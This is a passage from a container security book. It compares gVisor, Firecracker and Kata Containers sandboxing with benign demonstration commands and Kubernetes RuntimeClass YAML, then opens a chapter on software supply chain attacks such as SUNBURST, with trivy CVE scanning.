Tip

Linux’s Kernel Virtual Machine (KVM) is a

module that allows the kernel to run a nested version of itself as a hypervisor. It uses the processor’s hardware virtualization commands and allows each “guest” to run a full Linux or Windows operating system in the virtual machine with private, virtualized hardware. A virtual machine differs from a container as the guest’s processes are running on their own kernel: container processes always share the host kernel.

Sandboxes combine the best of virtualization and container isolation to optimize for specific use cases.

gVisor

and Firecracker (written in Golang and Rust, respectively) both operate on the premise that their statically typed system call proxying (between the workload/guest process and the host kernel) is more secure for consumption by untrusted workloads than the Linux kernel itself, and that performance is not significantly impacted.

gVisor starts a KVM or operates in ptrace
mode (using a debug ptrace
system call to monitor and control its guest), and inside starts a userspace kernel, which proxies system calls down to the host using a “sentry” process. This trusted process reimplements 237 Linux system calls and only needs 53 host system calls to operate. It is constrained to that list of system calls by seccomp
. It also starts a companion “filesystem interaction” side process called Gofer to prevent a compromised sentry process interacting with the host’s filesystem, and finally implements its own userspace networking stack to isolate it from bugs in the Linux TCP/IP stack.

Firecracker, on the other hand, while also using KVM, starts a stripped-down device emulator instead of implementing the heavyweight QEMU process to emulate devices (as traditional Linux virtual machines do). This reduces the host’s attack surface and removes unnecessary code, requiring 36 system calls itself to function.

And finally, at the other end of the diagram in Figure 3-12
, KVM/QEMU VMs

emulate hardware and so provide a guest kernel and full device emulation, which increases startup times and memory footprint.

Figure 3-12.
Spectrum of isolation

Virtualization provides better hardware isolation through CPU integration, but is slower to start and run due to the abstraction layer between the guest and the underlying host.

Containers are lightweight and suitably secure for most workloads. They run in production for multinational organizations around the world. But high-sensitivity workloads
and data need greater isolation. You can categorize workloads by risk:

- Does this application access a sensitive or high-value asset?

- Is this application able to receive untrusted traffic or input?

- Have there been vulnerabilities or bugs in this application before?

If the answer to any of those is yes, you may want to consider a next-generation sandboxing technology to further isolate workloads.

gVisor, Firecracker, and Kata Containers all take different approaches to virtual machine isolation, while sharing the aim of challenging the perception of slow startup time and high memory overhead.

Note

Kata Containers is a

container runtime that starts a VM and runs a container inside. It is widely compatible and can run firecracker
as a guest.

Table 3-1
compares these sandboxes and some key features.

Table 3-1.
Comparison of sandbox features; source: “Making Containers More Isolated: An Overview of Sandboxed Container Technologies”

Supported container platforms

Dedicated guest kernel

Support different guest kernels

Open source

Hot-plug

Direct access to HW

Required hypervisors

Backed by

gVisor

Docker, K8s

Yes

No

Yes

No

No

None

Google

Firecracker

Docker

Yes

Yes

Yes

No

No

KVM

Amazon

Kata

Docker, K8s

Yes

Yes

Yes

Yes

Yes

KVM or Xen

OpenStack

Each sandbox combines virtual machine and container technologies: some VMM process, a Linux kernel within the virtual machine, a Linux userspace in which to run the process once the kernel has booted, and some mix of kernel-based isolation (that is, container-style namespaces, cgroups
, or seccomp
) either within the VM, around the VMM, or some combination thereof.

Let’s have a closer look at each

one.

gVisor

Google’s gVisor

was originally built to allow untrusted, customer-supplied workloads to run in AppEngine on Borg, Google’s internal orchestrator and the progenitor to Kubernetes. It now protects Google Cloud
products: App Engine standard environment, Cloud Functions, Cloud ML Engine, and Cloud Run, and it has been modified to run in GKE. It has the best Docker and Kubernetes integrations from among this chapter’s sandboxing technologies.

Note

To run the examples, the

gVisor runtime binary must be installed
on the host or worker node.

Docker
supports pluggable container runtimes, and a simple docker run -it --runtime=runsc
starts a gVisor sandboxed OCI container. Let’s have a look at what’s in /proc
in a vanilla gVisor

container to compare it with standard runc
:

user@host:~ [

0]

$

docker run -it --runtime=

runsc sublimino/hack \

ls -lasp /proc/1

total 0
0

dr-xr-xr-x 1

root root 0

May 23

16:22 ./
0

dr-xr-xr-x 2

root root 0

May 23

16:22 ../
0

-r--r--r-- 0

root root 0

May 23

16:22 auxv
0

-r--r--r-- 0

root root 0

May 23

16:22 cmdline
0

-r--r--r-- 0

root root 0

May 23

16:22 comm
0

lrwxrwxrwx 0

root root 0

May 23

16:22 cwd -> /root
0

-r--r--r-- 0

root root 0

May 23

16:22 environ
0

lrwxrwxrwx 0

root root 0

May 23

16:22 exe -> /usr/bin/coreutils
0

dr-x------ 1

root root 0

May 23

16:22 fd/
0

dr-x------ 1

root root 0

May 23

16:22 fdinfo/
0

-rw-r--r-- 0

root root 0

May 23

16:22 gid_map
0

-r--r--r-- 0

root root 0

May 23

16:22 io
0

-r--r--r-- 0

root root 0

May 23

16:22 maps
0

-r-------- 0

root root 0

May 23

16:22 mem
0

-r--r--r-- 0

root root 0

May 23

16:22 mountinfo
0

-r--r--r-- 0

root root 0

May 23

16:22 mounts
0

dr-xr-xr-x 1

root root 0

May 23

16:22 net/
0

dr-x--x--x 1

root root 0

May 23

16:22 ns/
0

-r--r--r-- 0

root root 0

May 23

16:22 oom_score
0

-rw-r--r-- 0

root root 0

May 23

16:22 oom_score_adj
0

-r--r--r-- 0

root root 0

May 23

16:22 smaps
0

-r--r--r-- 0

root root 0

May 23

16:22 stat
0

-r--r--r-- 0

root root 0

May 23

16:22 statm
0

-r--r--r-- 0

root root 0

May 23

16:22 status
0

dr-xr-xr-x 3

root root 0

May 23

16:22 task/
0

-rw-r--r-- 0

root root 0

May 23

16:22 uid_map

Note

Removing special files from this directory prevents a hostile process from accessing the relevant feature in the underlying host kernel.

There are far fewer entries in /proc
than in a runc
container, as this diff shows:

user@host:~ [

0]

$

diff -u \

<(

docker run -t sublimino/hack ls -1 /proc/1)

\

<(

docker run -t --runtime=

runsc sublimino/hack ls -1 /proc/1)

-arch_status
-attr
-autogroup
auxv
-cgroup
-clear_refs
cmdline
comm
-coredump_filter
-cpu_resctrl_groups
-cpuset
cwd
environ
exe
@@ -16,39 +8,17 @@
fdinfo
gid_map
io
-limits
-loginuid
-map_files
maps
mem
mountinfo
mounts
-mountstats
net
ns
-numa_maps
-oom_adj
oom_score
oom_score_adj
-pagemap
-patch_state
-personality
-projid_map
-root
-sched
-schedstat
-sessionid
-setgroups
smaps
-smaps_rollup
-stack
stat
statm
status
-syscall
task
-timens_offsets
-timers
-timerslack_ns
uid_map
-wchan

The sentry
process that simulates the Linux system call interface
reimplements over 235 of the ~350 possible system calls in Linux 5.3.11. This shows you a “masked” view of the /proc
and /dev
virtual filesystems. These filesystems have historically leaked the container abstraction by sharing information from the host (memory, devices, processes, etc.) so are an area of special concern.

Let’s look at system devices under /dev
in gVisor and runc
:

user@host:~ [

0]

$

diff -u \

<(

docker run -t sublimino/hack ls -1p /dev)

\

<(

docker run -t --runtime=

runsc sublimino/hack ls -1p /dev)

-console
-core
fd
full
mqueue/
+net/
null
ptmx
pts/

We can see that
the runsc
gVisor runtime drops the console
and core
devices, but includes a /dev/net/tun
device (under the net/
directory) for its netstack
networking stack, which also runs inside Sentry. Netstack can be bypassed for direct host network access (at the cost of some isolation), or host networking disabled entirely for fully host-isolated networking (depending on the CNI or other network configured within the sandbox).

Apart from these giveaways, gVisor is kind enough to identify itself at boot time, which you can see in a container with dmesg
:

$

docker run --runtime=

runsc sublimino/hack dmesg
[

0.000000]

Starting gVisor...
[

0.340005]

Feeding the init monster...
[

0.539162]

Committing treasure map to memory...
[

0.688276]

Searching for

socket adapter...
[

0.759369]

Checking naughty and nice process list...
[

0.901809]

Rewriting operating system in Javascript...
[

1.384894]

Daemonizing children...
[

1.439736]

Granting licence to kill

(

2)

...
[

1.794506]

Creating process schedule...
[

1.917512]

Creating bureaucratic processes...
[

2.083647]

Checking naughty and nice process list...
[

2.131183]

Ready!

Notably this is not the real time it takes to start the container, and the quirky messages are randomized—don’t rely on them for automation. If we time
the process we can see it start faster than it claims:

$

time

docker run --runtime=

runsc sublimino/hack dmesg
[

0.000000]

Starting gVisor...
[

0.599179]

Mounting deweydecimalfs...
[

0.764608]

Consulting tar man page...
[

0.821558]

Verifying that no non-zero bytes made their way into /dev/zero...
[

0.892079]

Synthesizing system calls...
[

1.381226]

Preparing for

the zombie uprising...
[

1.521717]

Adversarially training Redcode AI...
[

1.717601]

Conjuring /dev/null black hole...
[

2.161358]

Accelerating teletypewriter to 9600

baud...
[

2.423051]

Checking naughty and nice process list...
[

2.437441]

Generating random numbers by fair dice roll...
[

2.855270]

Ready!

real 0m0.852s
user 0m0.021s
sys 0m0.016s

Unless an application running in a sandbox explicitly checks for these features of the environment, it will be unaware that it is in a sandbox. Your application makes the same system calls as it would to a normal Linux kernel, but the Sentry process intercepts the system calls as shown in Figure 3-13
.

Figure 3-13.
gVisor container components and privilege boundaries

Sentry prevents the application interacting directly with the host kernel, and has a seccomp
profile that limits its possible host system calls. This helps prevent escalation in case a tenant breaks into Sentry and attempts to attack the host kernel.

Implementing a userspace kernel is a Herculean undertaking and does not cover every system call. This means some applications are not able to run in
gvisor, although in practice this doesn’t happen very often and there are millions of workloads running on GCP under gVisor.

The Sentry has a side process called
Gofer. It handles disks and devices, which are historically common VM attack vectors. Separating out these responsibilities increases your resistance to compromise; if Sentry has an exploitable bug, it can’t be used to attack the host’s devices directly because they’re all proxied through Gofer.

Note

gVisor is written in Go
to avoid security pitfalls that can plague kernels. Go
is strongly typed, with built-in bounds checks, no uninitialized variables, no use-after-free bugs, no stack overflow bugs, and a built-in race detector. However, using Go has its challenges, and the runtime often introduces a little performance overhead.

However, this comes at the cost of some reduced application compatibility and a high per-system-call overhead. Of course, not all applications make a lot of system calls, so this depends on usage.

Application system calls are redirected to Sentry by a Platform Syscall Switcher,
which intercepts the application when it tries to make system calls to the kernel. Sentry then makes the required
system calls to the host for the containerized process, as shown in Figure 3-14
. This proxying prevents the application from directly controlling system calls.

Figure 3-14.
gVisor container components and privilege levels

Sentry sits in a loop waiting for a system call to be generated by the application, as shown in Figure 3-15
.

Figure 3-15.
gVisor sentry pseudocode; source: Resource Sharing

It captures the system call with ptrace
, handles it, and returns a response to the process (often without making the expected system call to the host). This simple model protects the underlying kernel from any direct interaction with the process inside the container.

The decreasing number of permitted calls shown in Figure 3-16
limits the exploitable interface of the underlying host kernel to 68 system calls, while the containerized application process believes it has access to all ~350 kernel

calls.

The Platform Syscall Switcher, gVisor’s system call
interceptor, has two modes: ptrace
and KVM. The ptrace
(“process trace”) system call
provides a mechanism for a parent process to observe and modify another process’s behavior. PTRACE_SYSEMU
forces
the traced process to stop on entry to the next syscall, and gVisor is able to respond to it or proxy the request to the host kernel, going via Gofer if I/O is required.

Figure 3-16.
gVisor system call hierarchy

Firecracker

Firecracker

is a virtual machine monitor (VMM) that boots a dedicated VM for its guest using KVM. Instead of using KVM’s traditional device emulation pairing with QEMU, Firecracker implements its own memory management
and
device emulation. It has no BIOS (instead implementing Linux Boot Protocol), no PCI support, and stripped down, simple, virtualized devices with a single network device, a block I/O device, timer, clock, serial console, and keyboard device that only simulates Ctrl-Alt-Del to reset the VM, as shown in Figure 3-17
.

Figure 3-17.
Firecracker and KVM interaction; source: Resource Sharing

The Firecracker VMM process that starts the guest virtual machine is in turn started by a jailer
process. The jailer
configures the security configuration of the VMM sandbox (GID and UID assignment, network namespaces, create chroot, create cgroups
), then terminates and passes control to Firecracker, where seccomp
is enforced around the KVM guest kernel and userspace that it boots.

Instead of using a second process for I/O like gVisor, Firecracker uses the KVM’s virtio drivers to proxy from the guest’s Firecracker process to the host kernel, via the VMM (shown in Figure 3-18
). When the Firecracker VM image starts, it boots into protected mode in the guest kernel, never running in its real mode.

Figure 3-18.
Firecracker sandboxing the guest kernel from the host

Tip

Firecracker is compatible with Kubernetes and OCI using the firecracker-containerd shim
.

Firecracker invokes far less host kernel code than traditional LXC or gVisor once it has started, although they all touch similar amounts of kernel code to start their sandboxes.

Performance improvements
are gained from an isolated memory stack, and lazily flushing data to the page cache instead of disk to increase filesystem performance. It supports arbitrary Linux binaries but does not support generic Linux kernels. It was created for AWS’s Lambda service, forked from Google’s ChromeOS VMM,
crosvm:

What makes crosvm unique is a focus on safety within the programming language and a sandbox around the virtual devices to protect the kernel from attack in case of an exploit in the devices.

Chrome OS Virtual Machine Monitor

Firecracker is a statically linked Rust binary that is compatible with Kata Containers, Weave Ignite
, firekube
, and firecracker-containerd
. It provides soft allocation (not allocating memory until it’s actually used) for more aggressive “bin packing,” and so greater resource

utilization.

Kata Containers

Finally, Kata Containers

consists of lightweight VMs containing a container engine. They are highly optimized for running containers. They are also the oldest, and most mature, of the recent sandboxes. Compatibility is wide, with support for most container orchestrators.

Grown from a combination of Intel Clear Containers and Hyper.sh RunV, Kata Containers (Figure 3-19
) wraps containers with a dedicated KVM virtual machine and device emulation from a pluggable backend: QEMU, QEMU-lite, NEMU (a custom stripped-down QEMU), or Firecracker. It is an OCI runtime and so supports Kubernetes.

Figure 3-19.
Kata Containers architecture

The Kata Containers runtime launches each container on a guest Linux kernel. Each Linux system is on its own hardware-isolated VM, as you can see in Figure 3-20
.

The kata-runtime
process is the VMM, and the interface to the OCI runtime. kata-proxy
handles I/O for the kata-agent
(and therefore the application) using KVM’s virtio-serial
, and multiplexes a command channel over the same connection.

kata-shim
is the interface to the container engine, handling container lifecycles, signals, and logs.

Figure 3-20.
Kata Containers components

The guest is started using KVM and either QEMU or Firecracker. The project has forked QEMU twice to experiment with lightweight start times and has reimplemented a number of features back into QEMU, which is now preferred to NEMU (the most recent fork).

Inside the VM, QEMU boots an optimized kernel, and systemd
starts the kata-agent
process. kata-agent
, which uses libcontainer
and so shares a lot of code with runc
, manages the containers running inside the VM.

Networking is provided by integrating with CNI (or Docker’s CNM), and a network namespace is created for each VM. Because of its networking model, the host network can’t be joined.

SELinux and AppArmor are not currently implemented,

and some OCI inconsistencies limit the Docker integration
.

rust-vmm

Many new VMM technologies
have some Rustlang components. So is Rust any good?

It is similar to Golang in that it is memory safe (memory model, virtio, etc.) but it is built atop a memory ownership model, which avoids whole classes of bugs including use after free, double free, and dangling pointer issues.

It has safe and simple concurrency and no garbage collector (which may incur some virtualization overhead and latency), instead using build-time analysis to find segmentation faults and memory issues.

rust-vmm
is a development toolkit for new VMMs as shown in Figure 3-21
. It is a collection of building blocks (Rust packages, or “crates”) comprised of virtualization components. These are well tested (and therefore better secured) and provide a simple, clean interface. For example, the vm-memory
crate is a guest memory abstraction, providing a guest address, memory regions, and guest shared memory.

Figure 3-21.
Kata Containers components; source: Resource Sharing

The project was birthed from ChromeOS’s cross-vm
(crosvm
), which was forked by Firecracker and subsequently abstracted into “hypervisor from scratch” Rust crates. This approach will enable the development of a plug-and-play hypervisor architecture.

Note

To see how a runtime is
built, you can check out Youki
. It’s an experimental container runtime written in Rust that implements the runc
runtime-spec
.

Risks of Sandboxing

The degree of
access and privilege that a guest process has to host features, or virtualized versions of them, impacts the attack surface available to an attacker in control of the guest process.

This new tranche of sandbox technologies is under active development. It’s code, and like all new code, is at risk of exploitable bugs. This is a fact of software, however, and is infinitely better than no new software at all!

It may be that these sandboxes are not yet a target for attackers. The level of innovation and baseline knowledge to contribute means the barrier to entry is set high. Captain Hashjack is likely to prioritize easier targets.

From an administrator’s perspective, modifying or debugging applications within the sandbox becomes slightly more difficult, similar to the difference between bare metal and containerized processes. These difficulties are not insurmountable but require administrator familiarization with the underlying runtime.

It is still possible to run privileged sandboxes
that have elevated capabilities within the guest. And although the risks are fewer than for privileged containers, users should be aware that any reduction of isolation increases the risk of running the process inside the
sandbox.

Kubernetes Runtime Class

Kubernetes and
Docker support running multiple container runtimes simultaneously; in Kubernetes, Runtime Class
is stable from v1.20 on. This means a Kubernetes worker node can host pods running under different Container Runtime Interfaces (CRIs), which greatly enhances workload separation.

With spec.template.spec.runtimeClassName
you can target a sandbox for a Kubernetes workload via CRI.

Docker is able to run any OCI-compliant runtime (e.g., runc
, runsc
), but the Kubernetes kubelet
uses

CRI. While Kubernetes has not yet distinguished between types of sandboxes, we can still set node affinity and toleration so pods are scheduled on to nodes that have the relevant sandbox technology installed.

To use a new CRI runtime in Kubernetes, create a non-namespaced RuntimeClass
:

apiVersion

:

node.k8s.io/v1

kind

:

RuntimeClass

metadata

:

name

:

gvisor

# The name the RuntimeClass will be referenced by

# RuntimeClass is a non-namespaced resource

handler

:

gvisor

# The name of the corresponding CRI configuration

Then reference the CRI runtime class in the pod definition:

apiVersion

:

v1

kind

:

Pod

metadata

:

name

:

my-gvisor-pod

spec

:

runtimeClassName

:

gvisor

# ...

This has started a new pod using gvisor
. Remember that runsc
(gVisor’s runtime component) must be installed on the node that the pod is scheduled on.

Conclusion

Generally sandboxes are more secure, and containers are less complex.

When running sensitive or untrusted workloads, you want to narrow the interface between a sandboxed process and the host. There are trade-offs—debugging a rogue process becomes much harder, and traditional tracing tools may not have good compatibility.

There is a general, minor performance overhead for sandboxes over containers (~50–200ms startup), which may be negligible for some workloads, and benchmarking is strongly encouraged. Options may also be limited by platform or nested virtualization options.

As next-generation runtimes have focused on stripping down legacy compatibility, they are very small and very fast to start up (compared to traditional VMs)—not as fast as LXC or runc
, but fast enough for FaaS providers to offer aggressive scale rates.

Note

Traditional container runtimes

like LXC and runc
are faster to start as they run a process on an existing kernel. Sandboxes need to configure their own guest kernel, which leads to slightly longer start times.

Managed services are easiest to adopt, with gVisor in GKE and Firecracker

in AWS Fargate. Both of them, and Kata, will run anywhere virtualization is supported, and the future is bright with the rust-vmm
library promising many more runtimes to keep valuable workloads safe.

Segregating the most sensitive workloads on dedicated nodes in sandboxes gives your systems the greatest resistance to practical compromise.

Chapter 4.
Applications and Supply Chain

The SUNBURST
supply-chain compromise
was a

hostile intrusion of US Government and Fortune-500 networks via malware hidden in a legitimately signed, compromised server monitoring agent. The Cozy Bear hacking group
used techniques described in this chapter to compromise many billion-dollar companies simultaneously. High value targets were prioritized by the attackers, so smaller organizations may have escaped the potentially devastating consequences of the breach.

Organizations targeted by the attackers suffered losses of data and may have been used as a springboard for further attacks against their own customers. This is the essential risk of a “trusted” supply chain: anybody who consumes something you produce becomes a potential target when you are compromised. The established trust relationship is exploited, and so malicious software is inadvertently trusted.

Often vulnerabilities
for which an exploit exists
don’t have a corresponding software patch or workaround. Palo Alto research determined this is the case for 80% of new, public exploits. With this level of risk exposure for all running software, denying malicious actors access to your internal networks is the primary line of defense.

The SUNBURST attack

infected SolarWinds
build pipelines and altered source code immediately before it was built, then hid the evidence of tampering and ensured the binary was signed by the CI/CD system so consumers would trust it.

These techniques were previously unseen on the Mitre ATT&CK Framework
, and
the attacks compromised networks plundered for military, government, and company secrets—all enabled by the initial supply chain attack. Preventing the ignoble, crafty Captain Hashjack and their pals from covertly entering the organization’s network via any dependencies (libraries, tooling or otherwise) is the job of supply chain security
: protecting our sources.

In this chapter we dive into supply chain attacks by looking at some historical issues and how they were exploited, then see how containers can either usefully compartmentalize or dangerously exacerbate supply chain risks. In “Defending Against SUNBURST”
, we’ll ask: could we have secured a cloud native system from SUNBURST?

For career criminals like Captain Hashjack, the supply chain provides a fresh vector to assault BCTL’s systems: attack by proxy to gain trusted access to your systems. This means attacking container software supply chains to gain remote control of vulnerable workloads and servers, and daisy-chain exploits and backdoors throughout an organization.

Defaults

Unless

targeted and mitigated, supply chain attacks

are relatively simple: they impact trusted parts of our system that we would not normally directly observe, like the CI/CD patterns of our suppliers.

This is a complex problem, as we will discuss in this chapter. As adversarial techniques evolve and cloud native systems adapt, you’ll see how the supply chain risks shift during development, testing, distribution, and runtime.

Threat Model

Most applications

do not come hardened by default, and you need to spend time securing them. OWASP Application Security Verification Standard
provides

application security (AppSec) guidance that we will not explore any further, except to say: you don’t want to make an attacker’s life easy by running outdated or error-ridden software. Rigorous logic and security tests are essential for any and all software you run.

That extends from your developers’ coding style and web application security standards, to the supply chain for everything inside the container itself. Engineering effort is required to make them secure and ensure they are secure when updated.

Dependencies in the

SDLC are especially vulnerable to attack, and give opportunities to Captain Hashjack to run some malicious code (the “payload”):

- At installation (package manager hooks, which may be running as root)

- During development and test (IDEs, builds, and executing tests)

- At runtime (local, dev, staging, and production Kubernetes pods)

When a payload is executing, it may write further code to the filesystem or pull malware from the internet. It may search for data on a developer’s laptop, a CI server, or production. Any looted credentials form the next phase of the attack.

And applications are not the only software at risk: with infrastructure, policy, and security defined as code, any scripted or automated point of the system that an attacker can infiltrate must be considered, and so is in scope for your threat

model.

The Supply Chain

Software supply

chains (Figure 4-1
) consider the movement of your files: source code, applications, data. They may be plain text, encrypted, on a floppy disk, or in the cloud.

Supply chains exist for anything that is built from other things—perhaps something that humans ingest (food, medicine), use (a CPU, cars), or interact with (an operating system, open source software). Any exchange of goods can be modeled as a supply chain, and some supply chains are huge and complex.

Figure 4-1.
A web of supply chains; adapted from
https://oreil.ly/r9ndi

Each dependency
you use is potentially a malicious implant primed to trigger, awaiting a spark of execution when it’s run in your systems to deploy its payload. Container
supply chains are long and may include:

- The base image(s)

- Installed operating system packages

- Application code and dependencies

- Public Git repositories

- Open source artifacts

- Arbitrary files

- Any other data that may be added

If malicious code is added to your supply chain at any step, it may be loaded into executable memory in a running container in your Kubernetes cluster. This is Captain Hashjack’s goal with malicious payloads: sneak bad code into your trusted software and use it to launch an attack from inside the perimeter of your organization, where you may not have defended your systems as well on the assumption that the “perimeter” will keep attackers out.

Each link of a supply chain has a

producer and a consumer. In Table 4-1
, the CPU chip producer is the manufacturer, and the next consumer is the distributor. In practice, there may be multiple producers and consumers at each stage of the supply chain.

Table 4-1.
Varied example supply chains

Farm food

CPU chip

An open source software package

Your organization’s servers

original producer

Farmer (seeds, feed, harvester)

Manufacturer (raw materials, fab, firmware)

Open source package developer (ingenuity, code)

Open source software, original source code built in internal CI/CD

(links to)

Distributor (selling to shops or other distributors)

Distributor (selling to shops or other distributors)

Repository maintainer (npm, PyPi, etc.)

Signed code artifacts pushed over the network to production-facing registry

(links to)

Local food shop

Vendor or local computer shop

Developer

Artifacts at rest in registry ready for deployment

links to final consumer

End user

End user

End user

Latest artifacts deployed to production systems

Any stage in the supply

chain that is not under your direct control is liable to be attacked (Figure 4-2
). A compromise of any “upstream” stage—for example, one that you consume—may impact you as a downstream consumer.

For example, an open source software

project (Figure 4-3
) may have three contributors (or “trusted producers”) with permission to merge external code contributions into the codebase. If one of those contributors’ passwords is stolen, an attacker can add their own malicious code to the project. Then, when your developers pull that dependency into their codebase, they are running the attacker’s hostile code on your internal systems.

Figure 4-2.
Similarity between supply chains

Figure 4-3.
Open source supply chain attack

But the compromise doesn’t have to be malicious. As with the npm event-stream
vulnerability
, sometimes

it’s something as innocent as someone looking to pass on maintainership to an existing and credible maintainer, who then goes rogue and inserts their own payload.

Note

In this case the vulnerable event-stream
package was downloaded 12 million times, and was depended upon by more than 1,600 other packages. The payload searched for “hot cryptocurrency wallets” to steal from developers’ machines. If this had stolen SSH and GPG keys instead and used them to propagate the attack further, the compromise could have been much wider.

A successful supply chain attack is often difficult to detect, as a consumer trusts every upstream producer. If a single producer is compromised, the attacker may target individual downstream consumers or pick only the highest-value targets.

Software

For our purposes, the
supply chains we consume are for software and hardware. In a cloud environment, a datacenter’s physical and network security is managed by the provider, but it is your responsibility to secure your use of the system. This means we have high confidence that the hardware we are using is safe. Our usage of it—the software we install and its behavior—is where our supply chain risk starts.

Software is built from many other pieces of software. Unlike CPU manufacturing, where inert components are assembled into a structure, software is more like a symbiotic population of cooperating organisms. Each component may be autonomous and choosing to cooperate (CLI tools, servers, OS) or useless unless used in a certain way (glibc
, linked libraries, most application dependencies). Any software can be autonomous or cooperative, and it is impossible to conclusively prove which it is at any moment in time. This means test code (unit tests, acceptance tests) may still contain malicious code, which would start to explore the Continuous Integration (CI) build environment or the developer’s machine it is executed on.

This poses a conundrum: if malicious code can be hidden in any part of a system, how can we conclusively say that the entire system is secure?

As Liz Rice points out in
Container Security

(O’Reilly):

It’s very likely that a deployment of any non-trivial software will include some vulnerabilities, and there is a risk that systems will be attacked through them. To manage this risk, you need to be able to identify which vulnerabilities are present and assess their severity, prioritize them, and have processes in place to fix or mitigate these issues.

Software supply
chain management is difficult. It requires you to accept some level of risk and make sure that reasonable measures are in place to detect dangerous software before it is executed inside your systems. This risk is balanced with diminishing rewards—builds get more expensive and more difficult to maintain with each control, and there are much higher expenses for each step.

Warning

Full confidence in your supply chain is almost impossible without the full spectrum of controls detailed in the CNCF Security Technical Advisory Group paper on software supply chain security (addressed later in this chapter).

As ever, you assume that no control is entirely effective and run
intrusion detection on the build machines as the last line of defense against targeted or widespread zero-day
vulnerabilities that may have included SUNBURST, Shellshock, or DirtyCOW, (see “Architecting Containerized Apps for Resilience”
).

Now let’s look at how to secure a software supply chain, starting with minimum viable cloud native security: scanning for CVEs.

Scanning for CVEs

CVEs are published for

known vulnerabilities, and it is critical that you do not give Captain Hashjack’s gruesome crew easy access to your systems by ignoring or failing to patch them. Open source software lists its dependencies in its build instructions (pom.xml
, package.json
, go.mod
, requirements.txt
, Gemfile
, etc.), which gives us visibility of its composition. This means you should scan those dependencies for CVEs using tools like trivy
. This is
the lowest-hanging fruit in the defense of the supply chain and should be considered a part of the minimum viable container security processes.

trivy can scan code at rest in various places:

- In a container image

- In a filesystem

- In a Git repository

It reports on known vulnerabilities. Scanning for CVEs is minimum viable security for shipping code to production.

This command scans the local directory and finds the gomod
and npm
dependency files, reporting on their contents (output was edited to fit):

$

trivy

fs

.

2021-02-22T10:11:32.657+0100

INFO

Detected

OS:

unknown

2021-02-22T10:11:32.657+0100

INFO

Number

of

PL

dependency

files:

2

2021-02-22T10:11:32.657+0100

INFO

Detecting

gomod

vulnerabilities...

2021-02-22T10:11:32.657+0100

INFO

Detecting

npm

vulnerabilities...

infra/build/go.sum

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

Total:

2

(

UNKNOWN:

0,

LOW:

0,

MEDIUM:

0,

HIGH:

2,

CRITICAL:

0

)

+-----------------------------+------------------+----------+-------------...

|

LIBRARY

|

VULNERABILITY

ID

|

SEVERITY

|

INST...

+-----------------------------+------------------+----------+-------------...

|

github.com/dgrijalva/jwt-go

|

CVE-2020-26160

|

HIGH

|

3.2.0+incomp...

|

|

|

|

...

|

|

|

|

...

+-----------------------------+------------------+

+-------------...

|

golang.org/x/crypto

|

CVE-2020-29652

|

|

0.0.0-202006...

|

|

|

|

...

|

|

|

|

...

|

|

|

|

...

+-----------------------------+------------------+----------+-------------...

infra/api/code/package-lock.json

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

=

Total:

0

(

UNKNOWN:

0,

LOW:

0,

MEDIUM:

0,

HIGH:

0,

CRITICAL:

0

)

Run trivy against the filesystem (fs
) in the current working directory (.
).

Scanning has found two high-severity vulnerabilities in infra/build/go.sum
.

The infra/api/code/package-lock.json
has no vulnerabilities detected.

So we can scan code in our supply chain to see if it’s got vulnerable dependencies. But what about the code

itself?

Ingesting Open Source Software

Securely ingesting code

is hard: how can we prove that a container image was built from the same source we can see on GitHub? Or that a compiled application is the same open source code we’ve read, without rebuilding it from source?

While this is hard with open source, closed source presents even greater challenges.

How do we establish and verify trust with our suppliers?

Much to the Captain’s dismay, this problem has been studied since 1983, when Ken Thompson introduced “Reflections on Trusting Trust”
:

To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software.

The question of trust underpins many human interactions, and is the foundation of the original internet. Thompson continues:

The moral is obvious. You can’t trust code that you did not totally create yourself. (Especially code from companies that employ people like me.) No amount of source-level verification or scrutiny will protect you from using untrusted code… As the level of program gets lower, these bugs will be harder and harder to detect. A well installed microcode bug will be almost impossible to detect.

These philosophical questions of security affect your organization’s supply chain, as well as your customers. The core problem remains unsolved and difficult to correct entirely.

While BCTL’s traditional relationship with software was defined previously as a consumer, when you started public open source on GitHub, you became a producer too. This distinction exists in most enterprise organizations today, as most have not adapted to their new producer responsibilities.

Which Producers Do We Trust?

To secure a supply
chain we must have trust in our producers. These are parties outside of your organization and they may include:

- Security providers such as the root Certificate Authorities to authenticate other servers on a network, and DNSSEC to return the right address for our transmission

- Cryptographic algorithms and implementations like GPG, RSA, and Diffie-Hellman to secure our data in transit and at rest

- Hardware enablers like OS, CPU/firmware, and driver vendors to provide us low-level hardware interaction

- Application developers and package maintainers to prevent malicious code installation via their distributed packages

- Open source and community-run teams, organizations, and standards bodies, to grow our technologies and communities in the common interest

- Vendors, distributors, and sales agents to not install backdoors or malware

- Everybody—not to have exploitable bugs

You may be wondering
if it’s ever possible to secure this entirely, and the answer is no. Nothing is ever entirely secure, but everything can be hardened so that it’s less appealing to all except the most skilled of threat actors. It’s all about balancing layers of security
controls that might include:

- Physical second factors (2FA)

- GPG signing (e.g., Yubikeys)

- WebAuthn
, FIDO2 Project, and physical security tokens (e.g., RSA)

- Human redundancy

- Authors cannot merge their own PRs

- Adding a second person to sign-off critical processes

- Duplication by running the same process twice in different environments and comparing results

- reprotest
and the Reproducible Builds
initiative (see examples in Debian
and Arch Linux
)

CNCF Security Technical Advisory Group

The CNCF Security Technical Advisory Group
(tag-security
) published a definitive software supply chain security paper
. For an in-depth and immersive view of the field, it is strongly recommended reading:

It evaluates many of the available tools and defines four key principles for supply chain security
and steps for each, including:

1. Trust: Every step in a supply chain should be “trustworthy” due to a combination of cryptographic attestation and verification.

2. Automation: Automation is critical to supply chain security and can significantly reduce the possibility of human error and configuration drift.

3. Clarity: The build environments used in a supply chain should be clearly defined, with limited scope.

4. Mutual Authentication: All entities operating in the supply chain environment must be required to mutually authenticate using hardened authentication mechanisms with regular key rotation.

Software Supply Chain Best Practices, tag-security

It then covers the main parts of
supply chain security:

1. Source code (what your developers write)

2. Materials (dependencies of the app and its environment)

3. Build pipelines

(to test and build your app)

4. Artifacts (your app plus test evidence and signatures)

5. Deployments (how your consumers access your app)

If your supply chain is compromised at any one of these points, your consumers may be compromised too.

Architecting Containerized Apps for Resilience

You should adopt
an adversarial mindset when architecting and building systems so security considerations are baked in. Part of that mindset includes learning about historical vulnerabilities

